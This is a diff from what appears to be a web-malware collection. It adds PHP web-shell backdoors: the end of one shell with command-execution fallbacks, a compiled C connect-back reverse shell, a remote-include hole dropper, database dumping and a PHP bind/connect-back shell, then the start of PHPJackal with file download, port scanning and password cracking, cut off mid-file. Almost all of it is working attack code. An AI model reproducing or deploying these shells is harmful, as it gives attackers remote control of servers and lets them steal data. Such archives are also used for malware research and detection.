$strOutput .= "<table border=1><tr><td><b>mysql access</b></td></tr><tr><td>"; + if($dbn=="") { + $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp. + "</td></tr><tr><td>". + display_dbs($dbH, $dbu, $dbp); + } else if(isset($dbs)) { + $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn."<br/>sql=".$dbs. + "</td></tr><tr><td>"; + if(isset($dumpfile)) { + $strOutput .= dump_query($dbH, $dbu, $dbp, $dbn, $dbs, $dumpfile); + } else { + $strOutput .= display_query($dbH, $dbu, $dbp, $dbn, $dbs); + } + } else if(isset($dbt)) { + $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt; + if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile; + $strOutput .= "</td></tr><tr><td> "; + if(isset($dumpfile)) { + $strOutput .= dump_rows($dbH, $dbu, $dbp, $dbn, $dbt, $dumpfile); + } else { + $strOutput .= display_rows($dbH, $dbu, $dbp, $dbn, $dbt); + } + } else { + $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn . + "</td></tr><tr><td>" . + display_tables($dbH, $dbu, $dbp, $dbn); + } + $strOutput .= "</pre></td></tr></table><br/>"; +} + +if(isset($Odbh)) { + $strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr>"; + eval("\$Gdbhost = \"\$$Odbh\";"); + eval("\$Gdbuser = \"\$$dbu\";"); + eval("\$Gdbpass = \"\$$dbp\";"); + eval("\$Gdbname = \"\$$dbn\";"); + $strOutput .= "<tr><td>"; + if(isset($dbt)) { + $Gdbtabl = $dbt; + $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl . + "</td></tr><tr><td>" . + display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl); + } else { + $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass . + "</td></tr><tr><td> " . + Odisplay_tables($Gdbhost, $Gdbuser, $Gdbpass); + } + $strOutput .= "</pre></td></tr></table><br/>"; +} + +if(isset($OdbH)) { + $strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr><tr><td>"; + if(isset($dbt)) { + $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt . + "</td></tr><tr><td> " . + Odisplay_rows($OdbH, $dbu, $dbp, $dbn, $dbt); + } else { + $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp . + "</td></tr><tr><td> " . + Odisplay_tables($OdbH, $dbu, $dbp); + } + $strOutput .= "</pre></td></tr></table><br/>"; +} + + +$strOutput .= "</font></td></tr></table>"; +$strOutputB64 = chunk_split(base64_encode($strOutput)); +echo "</div></div></div></div></div></div></div></div></div></div>\n"; +echo '<iframe width="100%" height="100%" style="border:0; position: absolute; left: 0px; top: 0px;" src="data:text/html;base64,' . $strOutputB64 .'">'; + +###################################################################### +# +# functions +# +###################################################################### +# make globals avail +function import_globals() +{ + global $HTTP_SERVER_VARS; + global $REMOTE_ADDR; + global $PHP_SELF; + global $REQUESTS; + global $SCRIPT_FILENAME; + global $QUERY_STRING; + global $SCRIPT_URI; + global $SERVER_NAME; + $_igr = ini_get('register_globals'); + if ($_igr == '' OR $_igr == 'Off' OR $_igr == 0) import_request_variables('GPC'); + if (phpversion() <= '4.1.0') { + $REQUESTS = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS); + } else { + $REQUESTS = $_REQUEST; + } + if($_SERVER['PHP_SELF']=="") { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SCRIPT_URI = $HTTP_SERVER_VARS['SCRIPT_URI']; + $REMOTE_ADDR = $HTTP_SERVER_VARS['REMOTE_ADDR']; + $QUERY_STRING = $HTTP_SERVER_VARS['QUERY_STRING']; + $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; + $SCRIPT_FILENAME = $HTTP_SERVER_VARS['SCRIPT_FILENAME']; + } else { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SCRIPT_URI = $_SERVER['SCRIPT_URI']; + $REMOTE_ADDR = $_SERVER['REMOTE_ADDR']; + $QUERY_STRING = $_SERVER['QUERY_STRING']; + $PHP_SELF = $_SERVER['PHP_SELF']; + $SCRIPT_FILENAME = $_SERVER['SCRIPT_FILENAME']; + } +} + +function dd($v) { + global $DebugArr; + $rv = "<blockquote>\n"; + $q="while(list(\$key,\$val) = each(\$$v)) {". + ' if(array_search($key, $DebugArr)) {'. + ' } else if((is_array($val)) && ($key!="GLOBALS")) {'. + ' echo "<b>$key</b>>><br/>";'. + ' @dd($v."[".$key."]");'. + ' } else if($key=="GLOBALS") {'. + ' } else echo "<b>$key</b>=>$val<br/>";'. + '};'; + eval($q); + echo "</blockquote>\n"; +} + +function ddb($v) { + echo "<blockquote>\n"; + $q="while(list(\$key,\$val) = each(\$$v)) {". + ' if((is_array($val)) && ($key!="GLOBALS")) {'. + ' echo "<b>$key</b>>><br/>";'. + ' @dd($v."[".$key."]");'. + ' } else if($key=="GLOBALS") {'. + ' } else echo "<b>$key</b>=>$val<br/>";'. + '};'; + eval($q); + echo "</blockquote>\n"; +} + +###################################################################### +# cmd shell functions +###################################################################### +# test what cmd is working +function test_cmd_shell(){ + if(strlen(Mexec("pwd", 5))>11) $var = 5; + elseif(strlen(Mexec("pwd", 4))>11) $var = 4; + elseif(strlen(Mexec("pwd", 3))>11) $var = 3; + elseif(strlen(Mexec("pwd", 2))>0) $var = 2; + elseif(strlen(Mexec("pwd", 1))>0) $var = 1; + else $var = 0; + return $var; +} +# function for executing cmds +function Mexec($Mcmd, $type) { + if($Mcmd != ""){ + $dspec = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "r") + ); + $output = ""; + switch($type) { + case 5: + $output .= "<pre>"; + $lastline = exec($Mcmd, $arrOutput); + foreach($arrOutput as $val) { + $output .= $val . "\n"; + } + $output .= "</pre>"; + break; + case 4: + $proc = proc_open($Mcmd, $dspec, $pipes); + if (is_resource($proc)) { + $output .= "<pre>"; + fclose($pipes[0]); + while(!feof($pipes[1])) { + $tmp = fgets($pipes[1], 1024); + $output .= $tmp; + } + $output .= "</pre>"; + } + break; + case 3; + $output .= "<pre>"; + $output .= `$Mcmd`; + $output .= "</pre>"; + break; + case 2; + print "<pre>\n"; + $output = system($Mcmd); + print "</pre>\n"; + break; + case 1; + print "<pre>\n"; + $output = passthru($Mcmd); + print "</pre>\n"; + break; + case 0; + default; + $output = "There are no execute functions available!"; + break; + } + return $output; + } +} +function drop_mime_mail($from,$to,$subject,$attach_source,$content_type,$attach_appear,$msg) { + $msgerror = ""; + if($msg == "") $msgerror = "please enter a message"; + elseif($subject == "") $msgerror = "please enter a subject"; + else { + $stlf = md5(uniqid(time())); + $attach = ""; + $fp = fopen($attach_source, "rb"); + if($fp) while(!feof($fp)) { $attach = $attach . fread($fp, 1024); } + $header = "From: $from\n"; + $header .= "MIME-Version: 1.0\n"; + $header .= "Content-Type: multipart/mixed; boundary=$stlf\n\n"; + $header .= "This is a multi-part message in MIME format\n"; + $header .= "--$stlf\n"; + $header .= "Content-Type: text/plain\n"; + $header .= "Content-Transfer-Encoding: 8bit\n\n"; + $header .= "$msg\n"; + $header .= "--$stlf\n"; + $header .= "Content-Type: $content_type; name=$attach_appear\n"; + $header .= "Content-Transfer-Encoding: base64\n"; + $header .= "Content-Disposition: attachment; filename=$attach_appear\n\n"; + $header .= chunk_split(base64_encode($attach)); + $header .= "\n"; + $header .= "--$stlf--"; + mail($to,$subject,"",$header); + $msgerror = "send done - show header: <br>\n<pre>$header</pre> "; + } + return $msgerror; +} + +###################################################################### +# system browsing +###################################################################### + +function make_switch($val){ + global $txt; + global $lang; + global $SCRIPT_NAME,$SREQ,$_REQUEST,$MyLoc,$_SERVER; + if(isset($_REQUEST[$val]) AND $_REQUEST[$val] == 1) { $test = 0; $col = "green"; $sw = $txt[$lang]['off']; } + else { $test = 1; $col = "black"; $sw = $txt[$lang]['on']; } + return " <font color=$col>$val</font> <a target=\"_parent\" href=\"".$MyLoc."?".$SREQ."&".$val."=".$test."\">[ ". $sw." ]</a> "; +} +function drop_syslog_warning($msg) { + global $syslog; +# if($syslog == 1) syslog(LOG_WARNING,$msg); +} + +###################################################################### +# file functions +###################################################################### +function copy_file($source,$dest) { + $dataout = ""; + if($source == "") $dataout .= "enter source<br>\n"; + if($dest != "") { + ini_set("user_agent","m0ins downloader"); + if(!copy($source, $dest)) $dataout . "failed to copy ...<br>\n"; + if(file_exists($dest)) $dataout .= highlight_file($dest, 1); + } else { + $dataout .= "enter destination"; + } +} +function edit_file($cont,$dest,$do) { + $dataout = ""; + global $magic_quotes_gpc; + if(file_exists($dest)) { + if($do == 1){ + $fh = fopen($dest, "w"); + if(!$fh) { + $dataout .= "unable to open <b>$dest</b>.\n"; + } else { +# $cont = str_replace("&gt;", ">", str_replace("&lt;", "<", $cont)); + if($magic_quotes_gpc == 1) $cont = stripslashes($cont); + $write = fwrite($fh, $cont); + fclose($fh); + } + } + $dataout .= highlight_file($dest, 1); + } else { + $dataout .= "unable to open <b>$dest</b>.\n"; + } + return $dataout; +} +function show_file($source) { + $dataout = ""; + if(file_exists($source)) { + $fh = fopen($source, "r"); + if(!$fh) { + $dataout .= "unable to open <b>$source</b>.\n"; + } else { + $read = fread($fh, filesize($source)); + fclose($fh); + if(!empty($read)) $read = str_replace(">", "&gt;", str_replace("<", "&lt;", $read)); + $dataout .= $read; + } + } else { + $dataout .= "unable to open <b>$source</b>.\n"; + } + return $dataout; +} +function snoopy($chdir){ + $tmpOut = ""; + global $is_file,$is_dir,$is_w_dir,$is_w_file; + $fh = opendir("$chdir"); + if($fh!="") { + while (false !== ($filename = readdir($fh)) ) { + $FN = $chdir."/".$filename; + if(@is_file($FN)) $is_file[] = $filename; + if(@is_dir($FN)) $is_dir[] = $filename; + if(@is_writable($FN) && @is_dir($filename)) $is_w_dir[] = $filename; + if(@is_writable($FN) && @is_file($filename)) $is_w_file[] = $filename; + } + $tmpOut .= "<table border=1 cellspacing=1 cellpadding=0><tr>"; + $tmpOut .= echo_files($is_file, "all files"); + $tmpOut .= echo_files($is_dir, "only dirs"); + $tmpOut .= echo_files($is_w_dir, "writable dirs"); + $tmpOut .= echo_files($is_w_file,"writable files"); + $tmpOut .= "</tr></table>"; + } else { + $tmpOut .= "Permission denied."; + } + closedir($fh); + return $tmpOut; +} + +function echo_files($arr,$txt){ + $tmpOutMF = ""; + global $chdir,$MyLoc,$SREQ; + $tmpOutMF .= "<td valign=top>"; + $tmpOutMF .= "<b><font size=2 face=arial>$txt</b> <br><br>"; + if(count($arr) > 0) { + foreach($arr as $key => $file) { + $FN = $chdir."/".$file; + $owner = fileowner($FN); + $perms = substr(sprintf("%o",fileperms($FN)),-3); + if(@is_writable($FN) && @is_dir($FN)) $tmpOutMF .= "<font color=red>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&chdir=$FN'>$file</a></font><br>"; + elseif(@is_writable($FN) && @is_file($FN)) $tmpOutMF .= "<font color=red>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&snoop=0&vsource=$FN'>$file</a> </font><br>"; + elseif(@is_file($FN)) $tmpOutMF .= "<font color=green>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&snoop=0&vsource=$FN'>$file</a></font><br>"; + elseif(@is_dir($FN)) $tmpOutMF .= "<font color=blue>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&chdir=$FN'>$file</a></font><br>"; + } + } + $tmpOutMF .= "</td>"; + return $tmpOutMF; +} +function print_globals($v) { + global $a; + echo "<blockquote>\n"; + $q= "while(list(\$key,\$val) = each($".$v. ") ) { ". + " echo \"<b>\$key</b>=>\$val.<br>\"; ". + " if(( is_array(\$val)) && (\$key != \"GLOBALS\")) {". + " @print_globals( \$v.\"[\".\$key.\"]\" );". + "}}"; + eval($q); + echo "</blockquote>\n"; +} +###################################################################### +# connect back shell function +###################################################################### + +function connect_back($tmp_dir, $compiler, $host, $port) { + $shell = "#include <stdio.h>\n" . + "#include <sys/socket.h>\n" . + "#include <netinet/in.h>\n" . + "#include <arpa/inet.h>\n" . + "#include <netdb.h>\n" . + "int main(int argc, char **argv) {\n" . + " char *host;\n" . + " int port = 80;\n" . + " int f;\n" . + " int l;\n" . + " int sock;\n" . + " struct in_addr ia;\n" . + " struct sockaddr_in sin, from;\n" . + " struct hostent *he;\n" . + " char msg[ ] = \"Welcome to Data Cha0s Connect Back Shell\\n\\n\"\n" . + " \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" . + " \"For More Reliable Shell.\\n\"\n" . + " \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" . + " \"For Not Getting Logged.\\n(;\\n\\n\";\n" . + " printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" . + " if (argc < 2 || argc > 3) {\n" . + " printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" . + " return 1;\n" . + " }\n" . + " printf(\"[*] Dumping Arguments\\n\");\n" . + " l = strlen(argv[1]);\n" . + " if (l <= 0) {\n" . + " printf(\"[-] Invalid Host Name\\n\");\n" . + " return 1;\n" . + " }\n" . + " if (!(host = (char *) malloc(l))) {\n" . + " printf(\"[-] Unable to Allocate Memory\\n\");\n" . + " return 1;\n" . + " }\n" . + " strncpy(host, argv[1], l);\n" . + " if (argc == 3) {\n" . + " port = atoi(argv[2]);\n" . + " if (port <= 0 || port > 65535) {\n" . + " printf(\"[-] Invalid Port Number\\n\");\n" . + " return 1;\n" . + " }\n" . + " }\n" . + " printf(\"[*] Resolving Host Name\\n\");\n" . + " he = gethostbyname(host);\n" . + " if (he) {\n" . + " memcpy(&ia.s_addr, he->h_addr, 4);\n" . + " } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" . + " printf(\"[-] Unable to Resolve: %s\\n\", host);\n" . + " return 1;\n" . + " }\n" . + " sin.sin_family = PF_INET;\n" . + " sin.sin_addr.s_addr = ia.s_addr;\n" . + " sin.sin_port = htons(port);\n" . + " printf(\"[*] Connecting...\\n\");\n" . + " if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" . + " printf(\"[-] Socket Error\\n\");\n" . + " return 1;\n" . + " }\n" . + " if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" . + " printf(\"[-] Unable to Connect\\n\");\n" . + " return 1;\n" . + " }\n" . + " printf(\"[*] Spawning Shell\\n\");\n" . + " f = fork( );\n" . + " if (f < 0) {\n" . + " printf(\"[-] Unable to Fork\\n\");\n" . + " return 1;\n" . + " } else if (!f) {\n" . + " write(sock, msg, sizeof(msg));\n" . + " dup2(sock, 0);\n" . + " dup2(sock, 1);\n" . + " dup2(sock, 2);\n" . + " execl(\"/bin/sh\", \"shell\", NULL);\n" . + " close(sock);\n" . + " return 0;\n" . + " }\n" . + " printf(\"[*] Detached\\n\\n\");\n" . + " return 0;\n" . + "}\n"; + $fbname = $tmp_dir . "/cbs"; + $fp = fopen($fbname . ".c", "w"); + $write = fwrite($fp, $shell); + fclose($fp); + if(!empty($write)) { + $command = $compiler . " -o " . $fbname . " " . $fbname . ".c"; + $execM = test_cmd_shell(); + if($execM > 0) { + $rtval = Mexec($command, $execM); + $command = $fbname . " " . $host . " " . $port; + $rtval .= Mexec($command, $execM); + return "<pre>" . $rtval . "</pre>"; + } else { + return "<b>ERROR! No EXEC Avilable!</b>"; + } + + } else { + return "<b>ERROR! Writing data!</b>"; + } +} + +###################################################################### +# drop mini inc hole +###################################################################### +function dropminiinc($location) { + $Scode = "<?php\n". + "if (phpversion() <= '4.1.0') \$vars = array_merge(\$HTTP_GET_VARS, \$HTTP_POST_VARS);\n". + "else \$vars = \$_REQUEST;\n". + "include(\$vars[inc]);\n". + "?>\n"; + $fp = fopen($location, "w"); + $write = fwrite($fp, $Scode); + if(!empty($write)) return "<b>$location</b> copied\n"; + else return "<b>ERROR! Not copied!</b>"; +} + +###################################################################### +# db functions +# unchanged from dans code +###################################################################### +function prep_rows($myresult) { + $dataout = "<table>\n"; + $num_fields = mysql_num_fields($myresult); + $dataout .= "<tr border=1>\n"; + for($i=0; $i<$num_fields; $i++) $dataout .= "<td>" . mysql_field_name($myresult, $i) . "</td>"; + $dataout .= "</tr>\n"; + while ($line = mysql_fetch_array($myresult, MYSQL_ASSOC)) { + $dataout .= "<tr>\n"; + foreach($line as $colvalue) { + $dataout .= "<td>$colvalue</td>\n"; + } + $dataout .= "</tr>\n"; + } + $dataout .= "</table>\n"; + return $dataout; +} + +function dump_rows($myhost, $myuser, $mypass, $mydb, $mytable, $mydump) { + $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; + mysql_select_db($mydb); // or return "Could not select database"; + $query = "SELECT * FROM ".$mytable." INTO OUTFILE \"".$mydump."\";"; + $result = mysql_query($query); // or return "Query failed: ".mysql_error(); + mysql_free_result($result); + mysql_close($link); + return "Hopefully dumped!"; +} + +function dump_query($myhost, $myuser, $mypass, $mydb, $mysql, $mydump) { + $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; + mysql_select_db($mydb); // or return "Could not select database"; + $query = $mysql." INTO OUTFILE \"".$mydump."\";"; + $result = mysql_query($query); // or return "Query failed: ".mysql_error(); + mysql_free_result($result); + mysql_close($link); + return "Hopefully dumped!"; +} + +function display_query($myhost, $myuser, $mypass, $mydb, $mysql) { + $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; + mysql_select_db($mydb); // or return "Could not select database"; + $query = $mysql; + $result = mysql_query($query); // or return "Query failed: ".mysql_error(); + $dataouted = prep_rows($result); + mysql_free_result($result); + mysql_close($link); + return($dataouted); +} + +function display_rows($myhost, $myuser, $mypass, $mydb, $mytable) { + $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; + mysql_select_db($mydb); // or return "Could not select database"; + $query = "SELECT * FROM ".$mytable; + $result = mysql_query($query); // or return "Query failed: ".mysql_error(); + $dataouted = prep_rows($result); + mysql_free_result($result); + mysql_close($link); + return($dataouted); +} + +function display_tables($myhost, $myuser, $mypass, $mydb) { + global $MyLoc,$SREQ; + $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; + $result = mysql_list_tables($mydb); + if (!$result) { + return "DB Error, could not list tables"; + } + $dataout = "<table>\n"; + while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { + $dataout .= "<tr>\n"; + foreach ($line as $col_value) { + $dataout .= "<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incdbpass=$mypass&incdbname=$mydb&incdbtable=$col_value'>$col_value</a></td>\n"; + } + $dataout .= "</tr>\n"; + } + $dataout .= "</table>\n"; + mysql_free_result($result); + mysql_close($link); + return($dataout); +} + +function display_dbs($myhost, $myuser, $mypass) { + global $MyLoc,$SREQ; + $link = mysql_connect($myhost, $myuser, $mypass); + $result = mysql_list_dbs($link); + if (!$result) { + return "DB Error, could not list databases"; + } + $dataout = "<table>\n"; + while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { + $dataout .= "<tr>\n"; + foreach ($line as $col_value) { + $dataout .= "<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incdbpass=$mypass&incdbname=$col_value'>$col_value</a></td>\n"; + } + $dataout .= "</tr>\n"; + } + $dataout .= "</table>\n"; + mysql_free_result($result); + mysql_close($link); + return($dataout); +} + +function Odisplay_rows($myhost, $myuser, $mypass, $mydb, $mytable) { + $link = odbc_connect($myhost, $myuser, $mypass); // or return "Could not connect"; + $query = "SELECT * FROM ".$mytable; + $result = odbc_exec($link, $query); // or return "Query failed: ".mysql_error(); + $dataout = "<table>\n"; + while ($line = odbc_fetch_row($result, MYSQL_ASSOC)) { + $dataout = $dataout . "<tr>\n"; + foreach($line as $colvalue) { + $dataout = $dataout . "<td>$colvalue</td>\n"; + } + $dataout = $dataout . "</tr>\n"; + } + $dataout = $dataout . "</table>\n"; + return($dataout); +} + +function Odisplay_tables($myhost, $myuser, $mypass) { + $link = odbc_connect($myhost, $myuser, $mypass); // or return "Could not connect"; + $result = odbc_tables($link); + if (!$result) { + return "DB Error, could not list tables"; + } + $dataout = "<table>\n"; + while ($line = odbc_fetch_row($result, MYSQL_ASSOC)) { + if(odbc_result($line, 4) == "TABLE") { + $dataout = $dataout . "<tr>\n"; + $dataout = $dataout . "<td>" . odbc_result($tablelist, 3) ."</td>\n"; + } + $dataout = $dataout . "</tr>\n"; + } + $dataout = $dataout . "</table>\n"; + return($dataout); +} + +###################################################################### +# Dan's Network function Wrappers +# Initial use inside this script, need to handle the error data +# differently to get it included in the base 64 output! +###################################################################### + +function DB_NET_GET_SOCKET_PROTOCOL($prot) { + switch($prot) { + case "udp": + $protocol = SOL_UDP; + $socktype = SOCK_DGRAM; + break; + case "tcp": + default: + $protocol = SOL_TCP; + $socktype = SOCK_STREAM; + break; + } + return(array($protocol, $socktype)); +} + +function DB_NET_CONNECT($hostname, $port=80, $prot="tcp") { + $address = gethostbyname($hostname); + list($protocol, $socktype) = DB_NET_GET_SOCKET_PROTOCOL($prot); + switch($prot) { + case "udp": + $protocol = SOL_UDP; + $socktype = SOCK_DGRAM; + break; + case "tcp": + default: + $protocol = SOL_TCP; + $socktype = SOCK_STREAM; + break; + } + $socket = socket_create(AF_INET, $socktype, $protocol); + if ($socket < 0) { + echo "socket_create() failed: reason: " . socket_strerror($socket) . "\n"; + } + + $result = socket_connect($socket, $address, $port); + if ($result < 0) { + echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n"; + } + return $socket; +} + +function DB_NET_LISTEN($address, $port) { + if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) { + echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n"; + return(-1); + } + + if (($ret = socket_bind($sock, $address, $port)) < 0) { + echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n"; + return(-2); + } + + if (($ret = socket_listen($sock, 5)) < 0) { + echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n"; + return(-3); + } + + return($sock); +} + +###################################################################### +# Dan's PHP Connect Back / Port Binding Shell! +# Yes that right a REAL shell! +# Now I had this idea for ages, finally coded it 6 months ago, and +# it's never really been used. +# Not really brain science but when there are many examples of PHP +# sockets + proc_open it's a little harder. +###################################################################### + +function DB_Shell($type, $shell, $port, $host = "0.0.0.0") { + if($type == "cb" && $host != "0.0.0.0") { + $procsock = DB_NET_CONNECT($host, $port, "tcp"); + } elseif ($type == "pb") { + $lsock = DB_NET_LISTEN($host, $port); + if (($procsock = socket_accept($lsock)) < 0) { + return "socket_accept() failed: reason: " . socket_strerror($procsock) . "\n"; + } + } else { + return "Error no connection details specified!"; + } + + set_time_limit(9000); + $descriptorspec = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") + ); + $process = proc_open($shell, $descriptorspec, $pipes); + if (is_resource($process)) { + $tmp_loop = 1; + do { + $tmp_array = array($procsock); + $num_changed_sockets = socket_select($tmp_array, $write = NULL, $except = NULL, 0); + if ($num_changed_sockets === false) { + $tmp_loop = 0; + } else if ($num_changed_sockets > 0) { + foreach($tmp_array as $k => $v) { + if($v == $procsock) { + if(socket_last_error($procsock) > 0) $tmp_loop = 0; + if($tmp_loop == 1 && false == ($buf = socket_read($procsock, 2048, PHP_NORMAL_READ))) $tmp_loop = 0; + fwrite($pipes[0], $buf); + } + } + } + $tmp_arrayS = array($pipes[1], $pipes[2]); + $num_changed_streams = stream_select($tmp_arrayS, $write = NULL, $except = NULL, 0); + if ($num_changed_streams === FALSE) { + $tmp_loop = 0; + } else if ($num_changed_streams > 0) { + foreach($tmp_arrayS as $k => $v) { + if($tmp_loop == 1 && false == ($buf = fread($v, 2048))) $tmp_loop = 0; + socket_write($procsock, $buf, strlen($buf)); + } + } + } while($tmp_loop == 1); + } else { + return "Error executing shell " . $shell; + } +} + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/phpjackal1.3.txt b/web-malware-collection-master/Backdoors/PHP/phpjackal1.3.txt new file mode 100755 index 0000000..163c606 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/phpjackal1.3.txt @@ -0,0 +1,1670 @@ +<?php +#--Config--# +$login_password= ''; //Set password +#----------# +error_reporting(E_ALL); +set_time_limit(0); +ini_set("max_execution_time","0"); +ini_set("memory_limit","9999M"); +set_magic_quotes_runtime(0); +if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS; +if(!isset($_POST))$_POST = &$HTTP_POST_VARS; +if(!isset($_GET))$_GET = &$HTTP_GET_VARS; +if(!isset($_COOKIE))$_COOKIE=$HTTP_COOKIE_VARS; +$_REQUEST = array_merge($_GET, $_POST); +if (get_magic_quotes_gpc()){ +foreach ($_REQUEST as $key=>$value) +{ +$_REQUEST[$key]=stripslashes($value); +} +} +function hlinK($str=""){ +$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF']."?"; +$new=explode("&",$str); +foreach ($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el = explode("=", $m); +if ($el[0]==$key)$add=0; +} +if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&"; +} +$ret.=$str; +return $ret; +} +if(!empty($login_password)){ +if(!empty($_REQUEST['fpassw'])){ +if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); +@header("Location: ".hlinK()); +} +if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></td></tr></form></table></body></html>"); +} +if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']); +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=@fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=@fsockopen("udp://".$ip,$port); +if($scan){ +socket_set_timeout($scan,$timeout); +@fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +if (!function_exists("file_get_contents")){ +function file_get_contents($addr){ +$a = fopen($addr,"r"); +$tmp = fread($a,filesize($a)); +fclose($a); +if($a)return $tmp; +} +} +if (!function_exists("file_put_contents")){ +function file_put_contents($addr,$con){ +$a = fopen($addr,"w"); +if(!$a)return 0; +fwrite($a,$con); +fclose($a); +return strlen($con); +} +} +function flusheR(){ +flush();@ob_flush(); +} +if (!empty($_REQUEST['downloaD'])){ +@ob_clean(); +$dl=$_REQUEST['downloaD']; +$con=file_get_contents($dl); +header("Content-type: application/octet-stream"); +header("Content-disposition: attachment; filename=\"$dl\";"); +header("Content-length: ".strlen($con)); +echo $con; +exit; +} +if (!empty($_REQUEST['imagE'])){ +$img=$_REQUEST['imagE']; +header("Content-type: imagE/gif"); +header("Content-length: ".filesize($img)); +header("Last-Modified: ".date("r",filemtime($img))); +echo file_get_contents($img); +exit; +} +@header("Cache-Control: no-cache, must-revalidate"); +@header("Expires: Mon, 7 Aug 1987 05:00:00 GMT"); +function showsizE($size){ +if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB"; +elseif ($size>=1048576)$size = round(($size/1048576),2)." MB"; +elseif ($size>=1024)$size = round(($size/1024),2)." KB"; +else $size .= " B"; +return $size; +} +if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0; +$errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td><b>Error: </b>"; +$et = "</td></tr></table>"; +$v="1.5"; +$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td align=\"center\">"; +$intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td bgcolor=\"#666666\"><b>Script:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href=\"http://netjackal.by.ru\" target=\"_blank\">http://netjackal.by.ru</a><br><b>Email:</b> <a href=\"mailto:nima_501@yahoo.com?subject=PHPJackal\">nima_501@yahoo.com</a><br></font>$et</center>"; +$footer="${msgbox}PHPJackal v$v - Powered By <a href=\"http://netjackal.by.ru\" target=\"_blank\">NetJackal</a>$et"; +$hcwd="<input type=hidden name=workingdiR value=\"".getcwd()."\">"; +$t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">"; +$crack="</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" 